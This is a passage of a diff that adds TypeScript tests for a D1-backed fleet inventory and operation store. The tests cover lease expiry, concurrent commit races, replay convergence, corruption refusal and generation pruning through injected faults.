+    operationId,
+    before,
+    afterPromotion,
+    pruned,
+    afterPrune: await inventorySnapshot(db),
+  };
+}
+
+async function inventoryFailureRecovery(db: D1Database): Promise<unknown> {
+  await readyInventoryStore(db);
+  const clock = controlledLeaseClock(db, INVENTORY_LEASE_TABLE);
+  clock.allowHeartbeat();
+  const store = new D1FleetInventoryRunStore(clock.database, {
+    accountId: INVENTORY_ACCOUNT,
+    leaseTtlMs: 60_000,
+    leaseRenewalIntervalMs: 30_000,
+  });
+  await seedInventoryGeneration(store, 28);
+  const operationId = inventoryOperationId(29);
+  const nextOperationId = inventoryOperationId(30);
+  const staged = await store.withAccountInventoryLease(async (lease) => {
+    const started = await lease.startRun({
+      operationId,
+      options: INVENTORY_OPTIONS,
+      optionsDigest: INVENTORY_DIGEST,
+    });
+    const rows = inventoryRows('failure-recovery');
+    const facts = inventoryFacts();
+    return lease.commitChunk({
+      operationId,
+      expectedRevision: started.progress.revision,
+      runRecord: inventoryCommitted(started, rows, facts),
+      rows,
+      facts,
+    });
+  });
+  const input = {
+    operationId,
+    expectedRevision: staged.progress.revision,
+    reason: 'operator-abandoned' as const,
+  };
+  const before = await inventorySnapshot(db);
+  const leaseOwners: unknown[] = [];
+  const interrupted = await store
+    .withAccountInventoryLease(async (lease) => {
+      leaseOwners.push(
+        await db
+          .prepare(`SELECT owner_token, expires_at FROM ${INVENTORY_LEASE_TABLE}
+        WHERE account_id = ?`)
+          .bind(INVENTORY_ACCOUNT)
+          .first(),
+      );
+      clock.advanceBeforeBatchStatement(1, 60_001);
+      await lease.failRun(input);
+    })
+    .then(
+      () => null,
+      (error: unknown) => errorShape(error),
+    );
+  const afterInterrupted = await inventorySnapshot(db);
+  const pruningBeforeRepair = await store.pruneInventoryGenerations({
+    limit: 1,
+  });
+  const afterPruningBeforeRepair = await inventorySnapshot(db);
+  const wrongRevision = await store
+    .withAccountInventoryLease((lease) =>
+      lease.failRun({ ...input, expectedRevision: input.expectedRevision + 1 }),
+    )
+    .then(
+      () => null,
+      (error: unknown) => errorShape(error),
+    );
+  const afterWrongRevision = await inventorySnapshot(db);
+  const recoveryError = await store
+    .withAccountInventoryLease(async (lease) => {
+      leaseOwners.push(
+        await db
+          .prepare(`SELECT owner_token, expires_at FROM ${INVENTORY_LEASE_TABLE}
+        WHERE account_id = ?`)
+          .bind(INVENTORY_ACCOUNT)
+          .first(),
+      );
+      await lease.failRun(input);
+    })
+    .then(
+      () => null,
+      (error: unknown) => errorShape(error),
+    );
+  const afterRecovery = await inventorySnapshot(db);
+  let next: FleetInventoryRunRecord | null = null;
+  const nextError = await store
+    .withAccountInventoryLease((lease) =>
+      lease.startRun({
+        operationId: nextOperationId,
+        options: INVENTORY_OPTIONS,
+        optionsDigest: INVENTORY_DIGEST,
+      }),
+    )
+    .then(
+      (run) => {
+        next = run;
+        return null;
+      },
+      (error: unknown) => errorShape(error),
+    );
+  const beforeNewHeadReplay = await inventorySnapshot(db);
+  const newHeadReplayError = await store
+    .withAccountInventoryLease((lease) => lease.failRun(input))
+    .then(
+      () => null,
+      (error: unknown) => errorShape(error),
+    );
+  const afterNewHeadReplay = await inventorySnapshot(db);
+  const prunedInactive = await store.pruneInventoryGenerations({ limit: 1 });
+  const afterInactivePrune = await inventorySnapshot(db);
+  return {
+    staged,
+    nextOperationId,
+    before,
+    interrupted,
+    afterInterrupted,
+    pruningBeforeRepair,
+    afterPruningBeforeRepair,
+    wrongRevision,
+    afterWrongRevision,
+    recoveryError,
+    afterRecovery,
+    leaseOwners,
+    now: clock.now(),
+    next,
+    nextError,
+    beforeNewHeadReplay,
+    newHeadReplayError,
+    afterNewHeadReplay,
+    prunedInactive,
+    afterInactivePrune,
+  };
+}
+
+async function inventoryFinalizedContinuationRecovery(
+  db: D1Database,
+  mode: 'normal' | 'stale' | 'fallback',
+): Promise<unknown> {
+  await readyInventoryStore(db);
+  const clock = controlledLeaseClock(db, INVENTORY_LEASE_TABLE);
+  clock.allowHeartbeat();
+  const store = new D1FleetInventoryRunStore(clock.database, {
+    accountId: INVENTORY_ACCOUNT,
+    leaseTtlMs: 60_000,
+    leaseRenewalIntervalMs: 30_000,
+  });
+  const operationId = inventoryOperationId(31);
+  const staged = await store.withAccountInventoryLease(async (lease) => {
+    const started = await lease.startRun({
+      operationId,
+      options: INVENTORY_OPTIONS,
+      optionsDigest: INVENTORY_DIGEST,
+    });
+    const rows = inventoryRows('finalized-continuation');
+    const facts = inventoryFacts();
+    return lease.commitChunk({
+      operationId,
+      expectedRevision: started.progress.revision,
+      runRecord: inventoryCommitted(started, rows, facts),
+      rows,
+      facts,
+    });
+  });
+  let providerCalls = 0;
+  const context = {
+    async advanceStage(): Promise<never> {
+      providerCalls += 1;
+      throw new Error('finalized continuation reached the provider');
+    },
+  };
+  const token = {
+    version: 1 as const,
+    operationId,
+    revision: staged.progress.revision,
+  };
+  const before = await inventorySnapshot(db);
+  clock.advanceBeforeBatchStatement(1, 60_001);
+  const interrupted = await advanceFleetInventory({
+    context,
+    store,
+    action: { kind: 'continue', token },
+    maxProviderRequests: 9,
+  }).then(
+    () => null,
+    (error: unknown) => errorShape(error),
+  );
+  const afterInterrupted = await inventorySnapshot(db);
+  const pruningBeforeRepair = await store.pruneInventoryGenerations({
+    limit: 1,
+  });
+  const afterPruningBeforeRepair = await inventorySnapshot(db);
+  const trace: string[] = [];
+  const repairs: unknown[] = [];
+  const continuationStore: FleetInventoryRunStore = {
+    withAccountInventoryLease: (operation) =>
+      store.withAccountInventoryLease((lease) =>
+        operation({
+          ...lease,
+          readRun: (id) => {
+            trace.push('lease-read');
+            return mode === 'fallback'
+              ? Promise.resolve(undefined)
+              : lease.readRun(id);
+          },
+          finalizeRun: (input) => {
+            trace.push('finalize');
+            repairs.push(input);
+            return lease.finalizeRun(input);
+          },
+        }),
+      ),
+    readRunByOperation: (id) => {
+      trace.push('fallback-read');
+      return store.readRunByOperation(id);
+    },
+    readFinalizedGeneration: (generation) => {
+      trace.push('generation-read');
+      return store.readFinalizedGeneration(generation);
+    },
+    latestFinalizedGeneration: () => store.latestFinalizedGeneration(),
+    pinGeneration: (input) => store.pinGeneration(input),
+    releasePin: (input) => store.releasePin(input),
+    pruneInventoryGenerations: (input) =>
+      store.pruneInventoryGenerations(input),
+  };
+  const continueRun = () =>
+    advanceFleetInventory({
+      context,
+      store: continuationStore,
+      action: {
+        kind: 'continue',
+        token: { ...token, revision: mode === 'stale' ? 0 : token.revision },
+      },
+      maxProviderRequests: 9,
+    });
+  const recovery = await continueRun().then(
+    (result) => ({ result, error: null }),
+    (error: unknown) => ({ result: null, error: errorShape(error) }),
+  );
+  const afterRecovery = await inventorySnapshot(db);
+  const recoveryTrace = [...trace];
+  const recoveryRepairs = [...repairs];
+  const base = {
+    staged,
+    before,
+    interrupted,
+    afterInterrupted,
+    pruningBeforeRepair,
+    afterPruningBeforeRepair,
+    recovery,
+    afterRecovery,
+    recoveryTrace,
+    recoveryRepairs,
+  };
+  if (!recovery.result) return { ...base, providerCalls, historical: null };
+  await seedInventoryGeneration(store, 32);
+  const newer = await store.withAccountInventoryLease((lease) =>
+    lease.startRun({
+      operationId: inventoryOperationId(33),
+      options: INVENTORY_OPTIONS,
+      optionsDigest: INVENTORY_DIGEST,
+    }),
+  );
+  const beforeHistorical = await inventorySnapshot(db);
+  const unpinned = await continueRun().then(
+    () => null,
+    (error: unknown) => errorShape(error),
+  );
+  const afterUnpinned = await inventorySnapshot(db);
+  await store.pinGeneration({ generation: 1, pinnedBy: 'audit-recovery' });
+  const pinned = await continueRun();
+  const afterPinned = await inventorySnapshot(db);
+  await store.releasePin({ generation: 1, pinnedBy: 'audit-recovery' });
+  const released = await continueRun().then(
+    () => null,
+    (error: unknown) => errorShape(error),
+  );
+  return {
+    ...base,
+    providerCalls,
+    historical: {
+      newer,
+      before: beforeHistorical,
+      unpinned,
+      afterUnpinned,
+      pinned,
+      afterPinned,
+      released,
+      afterReleased: await inventorySnapshot(db),
+    },
+  };
+}
+
+async function inventoryCommitConcurrency(db: D1Database): Promise<unknown> {
+  const store = await readyInventoryStore(db);
+  const operationId = inventoryOperationId(1);
+  // The account lease serializes lease HOLDERS, so the guarded commit batch can
+  // only be raced by concurrent calls under one lease. Concurrency is expressed
+  // exactly like coldConcurrentSchemaInitialization: Promise.allSettled over N
+  // writers inside the one request.
+  return store.withAccountInventoryLease(async (lease) => {
+    const started = await lease.startRun({
+      operationId,
+      options: INVENTORY_OPTIONS,
+      optionsDigest: INVENTORY_DIGEST,
+    });
+    const shared = inventoryRows('race');
+    const writers = Array.from({ length: 16 }, (_unused, index) => {
+      const rows = [
+        ...shared,
+        { kind: 'meta' as const, ordinal: index, payload: { writer: index } },
+      ];
+      const base = inventoryCommitted(started, rows, []);
+      return {
+        operationId,
+        expectedRevision: started.progress.revision,
+        // Each writer's intended record differs, so the winner is the writer
+        // whose own record the guarded UPDATE persisted.
+        runRecord: {
+          ...base,
+          progress: { ...base.progress, providerRequests: index + 1 },
+        },
+        rows,
+        facts: [] as readonly FleetInventoryStagedFact[],
+      };
+    });
+    const settled = await Promise.allSettled(
+      writers.map((input) => lease.commitChunk(input)),
+    );
+    const outcomes = settled.map((result, index) => {
+      if (result.status === 'rejected') {
+        return {
+          index,
+          outcome: (result.reason as Error).message.includes('diverge')
+            ? 'corrupt'
+            : 'conflict',
+        };
+      }
+      const intended = JSON.stringify(writers[index]?.runRecord);
+      return {
+        index,
+        outcome:
+          JSON.stringify(result.value) === intended ? 'committed' : 'converged',
+      };
+    });
+    const winner = outcomes.find((entry) => entry.outcome === 'committed');
+    const winning = writers[winner?.index ?? -1];
+    if (!winning) throw new Error('inventory commit race had no winner');
+    // The winner's own replay is the lost-response case: its rows are already
+    // present byte-identically at the intended revision, so it converges on the
+    // persisted record without advancing the revision a second time.
+    const beforeReplay = (await store.readRunByOperation(operationId))?.progress
+      .revision;
+    const replayResult = await lease.commitChunk(winning).then(
+      (record) => JSON.stringify(record) === JSON.stringify(winning.runRecord),
+      () => false,
+    );
+    const afterReplay = (await store.readRunByOperation(operationId))?.progress
+      .revision;
+    const lostResponseReplay =
+      replayResult && beforeReplay === afterReplay ? 'converged' : 'conflict';
+    const persisted = await store.readRunByOperation(operationId);
+    if (!persisted) throw new Error('inventory commit race lost its run');
+    const trailing = {
+      kind: 'meta' as const,
+      ordinal: 100,
+      payload: { writer: 'trailing' },
+    };
+    const advanced = await lease.commitChunk({
+      operationId,
+      expectedRevision: persisted.progress.revision,
+      runRecord: inventoryCommitted(persisted, [...shared, trailing], []),
+      rows: [trailing],
+      facts: [],
+    });
+    const replayed = writers[0];
+    if (!replayed) throw new Error('inventory commit race had no writer');
+    const staleReplay = await lease.commitChunk(replayed).then(
+      () => 'committed',
+      (error: unknown) =>
+        (error as Error).message.includes('no longer at the expected revision')
+          ? 'conflict'
+          : 'other',
+    );
+    const counts = await db
+      .prepare(
+        `SELECT kind, COUNT(*) AS count FROM anchorage_fleet_inventory_rows
+          WHERE account_id = ? AND generation = ? GROUP BY kind ORDER BY kind`,
+      )
+      .bind(INVENTORY_ACCOUNT, started.progress.generation)
+      .all<{ kind: string; count: number }>();
+    return {
+      committed: outcomes.filter((entry) => entry.outcome === 'committed')
+        .length,
+      converged: outcomes.filter((entry) => entry.outcome === 'converged')
+        .length,
+      conflicts: outcomes.filter((entry) => entry.outcome === 'conflict')
+        .length,
+      corrupt: outcomes.filter((entry) => entry.outcome === 'corrupt').length,
+      winnerIsWriter: typeof winner?.index === 'number',
+      lostResponseReplay,
+      revision: advanced.progress.revision,
+      staleReplay,
+      rowCounts: counts.results.map((row) => ({
+        kind: row.kind,
+        count: Number(row.count),
+      })),
+    };
+  });
+}
+
+async function inventoryFinalizeConvergence(db: D1Database): Promise<unknown> {
+  await readyInventoryStore(db);
+  const database = hideResultsDatabase(new D1FleetStateDatabase(db));
+  const store = inventoryStore(database);
+  const operationId = inventoryOperationId(2);
+  const rows = inventoryRows('finalize');
+  const facts = inventoryFacts();
+  const refs = await store.withAccountInventoryLease(async (lease) => {
+    const started = await lease.startRun({
+      operationId,
+      options: INVENTORY_OPTIONS,
+      optionsDigest: INVENTORY_DIGEST,
+    });
+    const record = await lease.commitChunk({
+      operationId,
+      expectedRevision: started.progress.revision,
+      runRecord: inventoryCommitted(started, rows, facts),
+      rows,
+      facts,
+    });
+    const input = {
+      operationId,
+      expectedRevision: record.progress.revision,
+      manifest: record.progress.stagedCounts,
+      factCount: record.progress.factCount,
+    };
+    database.loseNextBatch();
+    const first = await lease.finalizeRun(input);
+    const replayed = await lease.finalizeRun(input);
+    return { first, replayed };
+  });
+  const head = await db
+    .prepare(
+      `SELECT active_operation_id, latest_finalized_generation
+         FROM anchorage_fleet_inventory_heads WHERE account_id = ?`,
+    )
+    .bind(INVENTORY_ACCOUNT)
+    .first<{
+      active_operation_id: string | null;
+      latest_finalized_generation: number | null;
+    }>();
+  return {
+    first: refs.first,
+    replayed: refs.replayed,
+    identical: JSON.stringify(refs.first) === JSON.stringify(refs.replayed),
+    head: {
+      activeOperationId: head?.active_operation_id ?? null,
+      latestFinalizedGeneration: head?.latest_finalized_generation ?? null,
+    },
+  };
+}
+
+async function inventoryGenerationReadback(db: D1Database): Promise<unknown> {
+  const store = await readyInventoryStore(db);
+  const generation = await seedInventoryGeneration(store, 3);
+  const read = await store.readFinalizedGeneration(generation);
+  const latest = await store.latestFinalizedGeneration();
+  return {
+    ref: read.ref,
+    latestMatches: JSON.stringify(latest) === JSON.stringify(read.ref),
+    rowOrdinals: read.rows.map((row) => `${row.kind}:${row.ordinal}`),
+    factOrdinals: read.facts.map(
+      (fact) =>
+        `${fact.deploymentOrdinal}:${fact.factKind}:${fact.factOrdinal}`,
+    ),
+  };
+}
+
+async function inventoryCorruptUnreadable(db: D1Database): Promise<unknown> {
+  const store = await readyInventoryStore(db);
+  const generation = await seedInventoryGeneration(store, 4);
+  await db
+    .prepare(
+      `DELETE FROM anchorage_fleet_inventory_rows
+        WHERE account_id = ? AND generation = ? AND kind = 'finding'`,
+    )
+    .bind(INVENTORY_ACCOUNT, generation)
+    .run();
+  const readError = await store.readFinalizedGeneration(generation).then(
+    () => null,
+    (error: unknown) => errorShape(error),
+  );
+  const operationId = inventoryOperationId(5);
+  const rows = inventoryRows('mismatch');
+  const facts = inventoryFacts();
+  const finalizeError = await store
+    .withAccountInventoryLease(async (lease) => {
+      const started = await lease.startRun({
+        operationId,
+        options: INVENTORY_OPTIONS,
+        optionsDigest: INVENTORY_DIGEST,
+      });
+      // The persisted record claims more findings than the rows it staged, so
+      // finalize's in-SQL count guard is what refuses.
+      const overstated = inventoryCommitted(started, rows, facts);
+      const record = await lease.commitChunk({
+        operationId,
+        expectedRevision: started.progress.revision,
+        runRecord: {
+          ...overstated,
+          progress: {
+            ...overstated.progress,
+            stagedCounts: { ...overstated.progress.stagedCounts, finding: 9 },
+          },
+        },
+        rows,
+        facts,
+      });
+      return lease.finalizeRun({
+        operationId,
+        expectedRevision: record.progress.revision,
+        manifest: record.progress.stagedCounts,
+        factCount: record.progress.factCount,
+      });
+    })
+    .then(
+      () => null,
+      (error: unknown) => errorShape(error),
+    );
+  const run = await store.readRunByOperation(operationId);
+  return {
+    readError,
+    finalizeError,
+    stateAfterFinalize: run?.state ?? null,
+    latestGeneration:
+      (await store.latestFinalizedGeneration())?.generation ?? null,
+  };
+}
+
+async function inventoryPruneOrder(db: D1Database): Promise<unknown> {
+  const store = await readyInventoryStore(db);
+  for (const index of [10, 11, 12, 13]) {
+    await seedInventoryGeneration(store, index);
+  }
+  await store.pinGeneration({ generation: 2, pinnedBy: 'audit' });
+  const deleted = [
+    await store.pruneInventoryGenerations({ limit: 1 }),
+    await store.pruneInventoryGenerations({ limit: 1 }),
+    await store.pruneInventoryGenerations({ limit: 10 }),
+  ];
+  const pinnedSurvives = (await store.readFinalizedGeneration(2)).ref
+    .generation;
+  await store.releasePin({ generation: 2, pinnedBy: 'audit' });
+  deleted.push(await store.pruneInventoryGenerations({ limit: 10 }));
+  const surviving = await db
+    .prepare(
+      `SELECT generation FROM anchorage_fleet_inventory_runs
+        WHERE account_id = ? ORDER BY generation`,
+    )
+    .bind(INVENTORY_ACCOUNT)
+    .all<{ generation: number }>();
+  const rows = await db
+    .prepare(
+      `SELECT DISTINCT generation FROM anchorage_fleet_inventory_rows
+        WHERE account_id = ? ORDER BY generation`,
+    )
+    .bind(INVENTORY_ACCOUNT)
+    .all<{ generation: number }>();
+  return {
+    deleted: deleted.map((entry) => entry.deleted),
+    pinnedSurvives,
+    surviving: surviving.results.map((row) => Number(row.generation)),
+    survivingRowGenerations: rows.results.map((row) => Number(row.generation)),
+  };
+}
+
+async function inventoryLeaseLifecycle(db: D1Database): Promise<unknown> {
+  await readyInventoryStore(db);
+  await db
+    .prepare(
+      `INSERT INTO ${INVENTORY_LEASE_TABLE} (account_id, owner_token, expires_at)
+       VALUES (?, 'abandoned-token', 1)`,
+    )
+    .bind(INVENTORY_ACCOUNT)
+    .run();
+  const takeover = await inventoryStore(new D1FleetStateDatabase(db))
+    .withAccountInventoryLease(async (lease) => {
+      await lease.assertOwned();
+      return 'acquired';
+    })
+    .catch((error: unknown) => errorShape(error));
+  const clock = controlledLeaseClock(db, INVENTORY_LEASE_TABLE);
+  const store = new D1FleetInventoryRunStore(clock.database, {
+    accountId: INVENTORY_ACCOUNT,
+    leaseTtlMs: 2_500,
+    leaseRenewalIntervalMs: 1,
+  });
+  let contenderRejected = false;
+  await store.withAccountInventoryLease(async () => {
+    const original = await clock.database.query(
+      `SELECT expires_at FROM ${INVENTORY_LEASE_TABLE} WHERE account_id = ?`,
+      [INVENTORY_ACCOUNT],
+    );
+    const originalExpiresAt = Number(original[0]?.expires_at);
+    if (!Number.isFinite(originalExpiresAt)) {
+      throw new Error('inventory lease did not expose its original expiry');
+    }
+    clock.advance(2_000);
+    clock.allowHeartbeat();
+    await clock.heartbeat;
+    clock.advance(600);
+    try {
+      await new D1FleetInventoryRunStore(clock.database, {
+        accountId: INVENTORY_ACCOUNT,
+        leaseTtlMs: 2_500,
+        leaseRenewalIntervalMs: 1,
+      }).withAccountInventoryLease(async () => {});
+    } catch {
+      contenderRejected = true;
+    }
+    if (clock.now() <= originalExpiresAt) {
+      throw new Error('controlled D1 time did not pass the original expiry');
+    }
+  });
+  const remaining = await db
+    .prepare(`SELECT COUNT(*) AS count FROM ${INVENTORY_LEASE_TABLE}`)
+    .first<{ count: number }>();
+  return {
+    takeover,
+    heartbeatObserved: true,
+    contenderRejected,
+    leasesAfterRelease: Number(remaining?.count),
+  };
+}
+
+async function inventoryColdConcurrentSchema(db: D1Database): Promise<unknown> {
+  const stores = Array.from({ length: 16 }, () =>
+    inventoryStore(new D1FleetStateDatabase(db)),
+  );
+  const latest = await Promise.all(
+    stores.map((store) => store.latestFinalizedGeneration()),
+  );
+  const columns: Record<string, string[]> = {};
+  for (const table of INVENTORY_TABLES) {
+    const rows = await db
+      .prepare(`PRAGMA table_info(${table})`)
+      .all<{ name: string; type: string }>();
+    columns[table] = rows.results.map((row) => `${row.name}:${row.type}`);
+  }
+  const tables = await db
+    .prepare(
+      `SELECT name FROM sqlite_master
+        WHERE type = 'table' AND name LIKE 'anchorage_fleet_inventory_%'
+        ORDER BY name`,
+    )
+    .all<{ name: string }>();
+  const started = await stores[0]?.withAccountInventoryLease((lease) =>
+    lease.startRun({
+      operationId: inventoryOperationId(20),
+      options: INVENTORY_OPTIONS,
+      optionsDigest: INVENTORY_DIGEST,
+    }),
+  );
+  return {
+    latest: latest.filter((entry) => entry === undefined).length,
+    columns,
+    tables: tables.results.map((row) => row.name),
+    generation: started?.progress.generation ?? null,
+  };
+}
+
+const OPERATION_TABLES = [
+  'anchorage_fleet_operation_heads',
+  'anchorage_fleet_operation_leases',
+  'anchorage_fleet_operation_rows',
+  'anchorage_fleet_operations',
+];
+const OPERATION_LEASE_TABLE = 'anchorage_fleet_operation_leases';
+const OPERATION_ACCOUNT = 'account-operation';
+
+function operationId(index: number): string {
+  return `123e4567-e89b-42d3-a456-42661417${String(4300 + index)}`;
+}
+
+function operationRun(
+  kind: FleetOperationKind,
+  id: string,
+  revision = 0,
+  state: 'running' | 'finalized' | 'failed' = 'running',
+): FleetOperationRunRecord {
+  return {
+    version: 1,
+    operationId: id,
+    kind,
+    state,
+    progress:
+      kind === 'audit'
+        ? ({
+            kind,
+            revision,
+            stage: { step: 'provider-findings', rowOrdinal: 0 },
+            generation: 1,
+            auditTimeMs: 1_700_000_000_000,
+            staleAfterMs: 60_000,
+            recordCount: 1,
+            findingCount: 0,
+            factCount: 0,
+            ...(state === 'failed'
+              ? { failure: { reason: 'operator-abandoned' as const } }
+              : {}),
+          } as FleetAuditProgress)
+        : ({
+            kind,
+            revision,
+            itemCount: 0,
+            activeItemOrdinal: 0,
+            completedItemCount: 0,
+            ...(state === 'failed'
+              ? { failure: { reason: 'operator-abandoned' as const } }
+              : {}),
+          } as FleetMigrationProgress),
+    updatedAt: '2026-09-01T00:00:00.000Z',
+  };
+}
+
+function operationAdvanced(
+  record: FleetOperationRunRecord,
+  state: 'running' | 'finalized' | 'failed' = 'running',
+): FleetOperationRunRecord {
+  return {
+    ...record,
+    state,
+    progress: {
+      ...record.progress,
+      revision: record.progress.revision + 1,
+      ...(state === 'failed'
+        ? { failure: { reason: 'operator-abandoned' as const } }
+        : {}),
+    },
+  };
+}
+
+function operationFinding(ordinal: number): FleetOperationStagedRow {
+  return {
+    rowKind: 'finding',
+    ordinal,
+    payload: {
+      tenantTag: 'tenant',
+      environment: 'production',
+      kind: 'audit-error',
+      detail: `safe finding ${ordinal}`,
+    },
+  };
+}
+
+function operationFact(ordinal: number): FleetOperationStagedRow {
+  return {
+    rowKind: 'fact',
+    ordinal,
+    payload: { factKind: 'duplicate-namespace', key: `namespace-${ordinal}` },
+  };
+}
+
+function operationItem(
+  status: 'pending' | 'active',
+  ordinal: number,
+): FleetOperationStagedRow {
+  return {
+    rowKind: 'item',
+    ordinal,
+    payload: {
+      ordinal,
+      tenantTag: 'tenant',
+      environment: 'production',
+      entryRecordDigest: 'c'.repeat(64),
+      ...(status === 'pending'
+        ? {}
+        : {
+            targetSpecDigest: 'd'.repeat(64),
+            plan: [{ step: 'promote' }],
+            planCursor: 0,
+          }),
+      status,
+    },
+  };
+}
+
+function operationStore(
+  database: FleetStateDatabase,
+  accountId = OPERATION_ACCOUNT,
+): D1FleetOperationStore {
+  return new D1FleetOperationStore(database, { accountId });
+}
+
+async function readyOperationStore(
+  db: D1Database,
+): Promise<D1FleetOperationStore> {
+  const target = operationStore(new D1FleetStateDatabase(db));
+  await target.readOperationById(operationId(0));
+  for (const table of OPERATION_TABLES) {
+    await db.prepare(`DELETE FROM ${table}`).run();
+  }
+  return target;
+}
+
+function operationStart(
+  lease: Parameters<
+    Parameters<D1FleetOperationStore['withAccountOperationLease']>[1]
+  >[0],
+  kind: FleetOperationKind,
+  id: string,
+) {
+  return lease.startOperation({
+    operationId: id,
+    kind,
+    runRecord: operationRun(kind, id),
+    intakeDigest: 'a'.repeat(64),
+  });
+}
+
+async function operationSnapshot(db: D1Database, id: string) {
+  const run = await db
+    .prepare(
+      `SELECT op_record, json_extract(op_record, '$.progress.revision') AS revision
+        FROM anchorage_fleet_operations
+        WHERE account_id = ? AND operation_id = ?`,
+    )
+    .bind(OPERATION_ACCOUNT, id)
+    .first<{ op_record: string; revision: number }>();
+  const rows = await db
+    .prepare(
+      `SELECT row_kind, ordinal, payload FROM anchorage_fleet_operation_rows
+        WHERE account_id = ? AND operation_id = ? ORDER BY row_kind, ordinal`,
+    )
+    .bind(OPERATION_ACCOUNT, id)
+    .all<{ row_kind: string; ordinal: number; payload: string }>();
+  return {
+    revision: run?.revision ?? null,
+    record: run?.op_record ?? null,
+    rows: rows.results,
+  };
+}
+
+async function operationStartAtomicity(db: D1Database): Promise<unknown> {
+  await readyOperationStore(db);
+  const id = operationId(0);
+  const stores = Array.from({ length: 16 }, () =>
+    operationStore(new D1FleetStateDatabase(db)),
+  );
+  const attempts = await Promise.allSettled(
+    stores.map((target) =>
+      target.withAccountOperationLease('audit', (lease) =>
+        operationStart(lease, 'audit', id),
+      ),
+    ),
+  );
+  const head = await db
+    .prepare(
+      `SELECT active_operation_id FROM anchorage_fleet_operation_heads
+        WHERE account_id = ? AND operation_kind = 'audit'`,
+    )
+    .bind(OPERATION_ACCOUNT)
+    .first<{ active_operation_id: string | null }>();
+  const count = await db
+    .prepare(
+      `SELECT COUNT(*) AS count FROM anchorage_fleet_operations
+        WHERE account_id = ?`,
+    )
+    .bind(OPERATION_ACCOUNT)
+    .first<{ count: number }>();
+  return {
+    started: attempts.filter((attempt) => attempt.status === 'fulfilled')
+      .length,
+    rejected: attempts.filter((attempt) => attempt.status === 'rejected')
+      .length,
+    activeOperationId: head?.active_operation_id ?? null,
+    operations: Number(count?.count),
+  };
+}
+
+async function operationCommitConcurrency(db: D1Database): Promise<unknown> {
+  const target = await readyOperationStore(db);
+  const id = operationId(1);
+  return target.withAccountOperationLease('audit', async (lease) => {
+    const created = await operationStart(lease, 'audit', id);
+    const intended = operationAdvanced(created.record);
+    const inputs = Array.from({ length: 16 }, (_unused, ordinal) => ({
+      operationId: id,
+      expectedRevision: 0,
+      runRecord: intended,
+      rows: [operationFinding(ordinal)],
+    }));
+    const attempts = await Promise.allSettled(
+      inputs.map((input) => lease.commitProgress(input)),
+    );
+    const winner = attempts.findIndex(
+      (attempt) => attempt.status === 'fulfilled',
+    );
+    if (winner < 0) throw new Error('operation commit race had no winner');
+    const before = (await lease.readOperation(id))?.progress.revision;
+    const replay = await lease.commitProgress(
+      inputs[winner] as (typeof inputs)[number],
+    );
+    const after = (await lease.readOperation(id))?.progress.revision;
+    const rows = await db
+      .prepare(
+        `SELECT ordinal FROM anchorage_fleet_operation_rows
+          WHERE account_id = ? AND operation_id = ? ORDER BY ordinal`,
+      )
+      .bind(OPERATION_ACCOUNT, id)
+      .all<{ ordinal: number }>();
+    return {
+      winners: attempts.filter((attempt) => attempt.status === 'fulfilled')
+        .length,
+      losers: attempts.filter((attempt) => attempt.status === 'rejected')
+        .length,
+      rowOrdinals: rows.results.map((row) => Number(row.ordinal)),
+      replayRevision: replay.progress.revision,
+      noSecondAdvance: before === after,
+    };
+  });
+}
+
+async function operationCommitWatermark(db: D1Database): Promise<unknown> {
+  const target = await readyOperationStore(db);
+  const id = operationId(5);
+  return target.withAccountOperationLease('audit', async (lease) => {
+    const created = await operationStart(lease, 'audit', id);
+    const beforeFindingRefusal = await operationSnapshot(db, id);
+    let findingRefused: unknown = null;
+    try {
+      await lease.commitProgress({
+        operationId: id,
+        expectedRevision: 0,
+        runRecord: operationAdvanced(created.record),
+        rows: [operationFinding(1)],
+        expectedRowWatermarks: { finding: 2 },
+      });
+    } catch (error) {
+      findingRefused = errorShape(error);
+    }
+    const afterFindingRefusal = await operationSnapshot(db, id);
+    await lease.stageRows({
+      operationId: id,
+      expectedRevision: 0,
+      rows: [operationFinding(0), operationFact(1)],
+    });
+    const before = await operationSnapshot(db, id);
+    let refused: unknown = null;
+    try {
+      await lease.commitProgress({
+        operationId: id,
+        expectedRevision: 0,
+        runRecord: operationAdvanced(created.record),
+        rows: [operationFinding(1)],
+        expectedRowWatermarks: { finding: 2, fact: 1 },
+      });
+    } catch (error) {
+      refused = errorShape(error);
+    }
+    const afterRefusal = await operationSnapshot(db, id);
+    await lease.stageRows({
+      operationId: id,
+      expectedRevision: 0,
+      rows: [operationFinding(1), operationFact(0)],
+    });
+    const input = {
+      operationId: id,
+      expectedRevision: 0,
+      runRecord: operationAdvanced(created.record),
+      rows: [operationFinding(2), operationFact(2)],
+      expectedRowWatermarks: { finding: 3, fact: 2 },
+    };
+    const accepted = await lease.commitProgress(input);
+    const afterAcceptance = await operationSnapshot(db, id);
+    const replay = await lease.commitProgress(input);
+    return {
+      beforeFindingRefusal,
+      afterFindingRefusal,
+      findingRefused,
+      before,
+      afterRefusal,
+      refused,
+      accepted,
+      afterAcceptance,
+      replay,
+      afterReplay: await operationSnapshot(db, id),
+    };
+  });
+}
+
+async function operationCommitRowUpdate(db: D1Database): Promise<unknown> {
+  const target = await readyOperationStore(db);
+  const id = operationId(6);
+  return target.withAccountOperationLease('migration', async (lease) => {
+    const created = await operationStart(lease, 'migration', id);
+    await lease.stageRows({
+      operationId: id,
+      expectedRevision: 0,
+      rows: [operationItem('pending', 0), operationItem('pending', 1)],
+    });
+    const before = await operationSnapshot(db, id);
+    const accepted = await lease.commitProgress({
+      operationId: id,
+      expectedRevision: 0,
+      runRecord: operationAdvanced(created.record),
+      updateRows: [operationItem('active', 1)],
+      expectedRowWatermarks: { item: 2 },
+    });
+    const page = await target.readOperationRowsPage({
+      operationId: id,
+      rowKind: 'item',
+      limit: 10,
+    });
+    return {
+      before,
+      afterAcceptance: await operationSnapshot(db, id),
+      acceptedRevision: accepted.progress.revision,
+      items: page.rows,
+    };
+  });
+}
+
+async function operationCommitImmutableConflict(
+  db: D1Database,
+  hideResults: boolean,
+  viaStage: boolean,
+): Promise<unknown> {
+  await readyOperationStore(db);
+  const database = hideResultsDatabase(new D1FleetStateDatabase(db));
+  const target = operationStore(database);
+  const id = operationId(7);
+  return target.withAccountOperationLease('audit', async (lease) => {
+    const created = await operationStart(lease, 'audit', id);
+    const staged = operationFinding(1);
+    await lease.stageRows({
+      operationId: id,
+      expectedRevision: 0,
+      rows: [staged],
+    });
+    const before = await operationSnapshot(db, id);
+    const input = {
+      operationId: id,
+      expectedRevision: 0,
+      runRecord: operationAdvanced(created.record),
+      rows: [operationFinding(0), staged],
+    };
+    let refused: unknown = null;
